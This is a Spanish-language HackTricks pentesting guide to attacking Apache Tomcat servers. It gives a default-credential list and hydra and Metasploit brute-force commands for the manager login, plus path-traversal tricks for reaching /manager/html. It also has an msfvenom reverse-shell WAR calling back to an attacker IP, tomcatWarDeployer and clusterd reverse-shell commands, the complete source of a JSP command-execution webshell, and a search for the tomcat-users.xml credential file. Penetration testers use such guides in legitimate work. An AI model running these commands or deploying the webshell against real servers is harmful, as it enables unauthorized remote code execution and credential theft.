hacktricks/network-services-pentesting/pentesting-web/tomcat.md

239 lines
12 KiB
Markdown
Raw Normal View History

2023-06-05 18:33:24 +00:00
# Tomcat
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
* Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
## Descubrimiento
* Normalmente se ejecuta en el **puerto 8080**
* **Error común de Tomcat:**
<figure><img src="../../.gitbook/assets/image (1) (6).png" alt=""><figcaption></figcaption></figure>
## Enumeración
### Versión
```bash
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
<html lang="en"><head><META http-equiv="Content-Type" content="text/html; charset=UTF-8"><link href="./images/docs-stylesheet.css" rel="stylesheet" type="text/css"><title>Apache Tomcat 9 (9.0.30) - Documentation Index</title><meta name="author"
```
### Localizar archivos de gestión
Es interesante encontrar dónde están las páginas **`/manager`** y **`/host-manager`** ya que podrían tener un nombre diferente. Puedes buscarlos con un ataque de fuerza bruta.
### Enumeración de nombres de usuario
En algunas versiones anteriores a Tomcat6 se podían enumerar usuarios:
```bash
msf> use auxiliary/scanner/http/tomcat_enum
```
### Credenciales por defecto
La ruta más interesante de Tomcat es _**/manager/html**_, dentro de esa **ruta puedes cargar y desplegar archivos war** (ejecutar código). Pero esta ruta está protegida por autenticación HTTP básica, las credenciales más comunes son:
* admin:admin
* tomcat:tomcat
* admin:\<NADA>
* admin:s3cr3t
* tomcat:s3cr3t
* admin:tomcat
Puedes probar estas y más utilizando:
```bash
msf> use auxiliary/scanner/http/tomcat_mgr_login
```
Otra ruta interesante de Tomcat es _**/manager/status**_, donde se puede ver la versión del sistema operativo y de Tomcat. Esto es útil para encontrar vulnerabilidades que afecten la versión de Tomcat cuando no se puede acceder a _**/manager/html.**_
### Fuerza bruta
```bash
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set VHOST tomacat-site.internal
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8180
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set stop_on_success true
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set rhosts <IP>
```
## Vulns
### Divulgación de rastro de contraseña
Intenta acceder a `/auth.jsp` y si tienes mucha suerte, **podría revelar la contraseña en un rastro**.
### Doble codificación de URL
Una vulnerabilidad conocida _para_ acceder al administrador de aplicaciones es mod\_jk en CVE-2007-1860, que permite **traversal de ruta de doble codificación de URL**.
Para acceder a la web de gestión de Tomcat, vaya a: _pathTomcat/%252E%252E/manager/html_
Tenga en cuenta que para cargar la webshell, es posible que deba utilizar el truco de doble codificación de URL y enviar también una cookie y / o un token SSRF.\
Para acceder a la puerta trasera, es posible que también necesite utilizar el truco de doble codificación de URL.
### /ejemplos
Los siguientes scripts de ejemplo que vienen con Apache Tomcat v4.x - v7.x y pueden ser utilizados por atacantes para obtener información sobre el sistema. También se sabe que estos scripts son vulnerables a la inyección de scripting entre sitios (XSS) (de [aquí](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)).
* /examples/jsp/num/numguess.jsp
* /examples/jsp/dates/date.jsp
* /examples/jsp/snp/snoop.jsp
* /examples/jsp/error/error.html
* /examples/jsp/sessions/carts.html
* /examples/jsp/checkbox/check.html
* /examples/jsp/colors/colors.html
* /examples/jsp/cal/login.html
* /examples/jsp/include/include.jsp
* /examples/jsp/forward/forward.jsp
* /examples/jsp/plugin/plugin.jsp
* /examples/jsp/jsptoserv/jsptoservlet.jsp
* /examples/jsp/simpletag/foo.jsp
* /examples/jsp/mail/sendmail.jsp
* /examples/servlet/HelloWorldExample
* /examples/servlet/RequestInfoExample
* /examples/servlet/RequestHeaderExample
* /examples/servlet/RequestParamExample
* /examples/servlet/CookieExample
* /examples/servlet/JndiServlet
* /examples/servlet/SessionExample
* /tomcat-docs/appdev/sample/web/hello.jsp
### Traversal de ruta (..;/)
En algunas [**configuraciones vulnerables de Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) se puede acceder a directorios protegidos en Tomcat utilizando la ruta: `/..;/`
Por lo tanto, por ejemplo, es posible que pueda **acceder a la página del administrador de Tomcat** accediendo a: `www.vulnerable.com/lalala/..;/manager/html`
**Otra forma** de evitar rutas protegidas utilizando este truco es acceder a `http://www.vulnerable.com/;param=value/manager/html`
## RCE
Finalmente, si tiene acceso al Administrador de aplicaciones web de Tomcat, puede **cargar e implementar un archivo .war (ejecutar código)**.
### Limitaciones
Solo podrá implementar un WAR si tiene **suficientes privilegios** (roles: **admin**, **manager** y **manager-script**). Esos detalles se pueden encontrar en _tomcat-users.xml_ generalmente definido en `/usr/share/tomcat9/etc/tomcat-users.xml` (varía entre versiones) (ver sección [POST](tomcat.md#post)).
```bash
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"
# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
```
### Metasploit
Metasploit es una herramienta de prueba de penetración muy popular que se utiliza para encontrar vulnerabilidades en sistemas informáticos. Es una herramienta de código abierto que se utiliza para desarrollar y ejecutar exploits contra sistemas informáticos. Metasploit se utiliza para probar la seguridad de los sistemas informáticos y para encontrar vulnerabilidades en los mismos. Con Metasploit, los hackers pueden encontrar vulnerabilidades en los sistemas informáticos y explotarlas para obtener acceso no autorizado a los mismos.
```bash
use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit
```
### Shell Inverso con MSFVenom
```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.11.0.41 LPORT=80 -f war -o revshell.war
```
Entonces, **sube el archivo `revshell.war` y accede a él (**_**/revshell/**_**)**
### Enlazar y revertir la shell con [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
En algunos escenarios esto no funciona (por ejemplo, en versiones antiguas de sun)
#### Descarga
```bash
git clone https://github.com/mgeeky/tomcatWarDeployer.git
```
#### Shell inversa
```bash
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
```
#### Shell de conexión directa
```bash
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
```
### Usando [Culsterd](https://github.com/hatRiot/clusterd)
```bash
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
```
### Método manual - Web shell
Crea **index.jsp** con este [contenido](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp):
```java
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>
```
```bash
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it
```
También puedes instalar esto (permite cargar, descargar y ejecutar comandos): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
### Método manual 2
Obtén una shell web JSP como [esta](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) y crea un archivo WAR:
```bash
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp
```
## POST
El nombre del archivo de credenciales de Tomcat es _tomcat-users.xml_.
```bash
find / -name tomcat-users.xml 2>/dev/null
```
Otras formas de obtener credenciales de Tomcat:
```bash
msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat
```
## Otras herramientas de escaneo de Tomcat
* [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>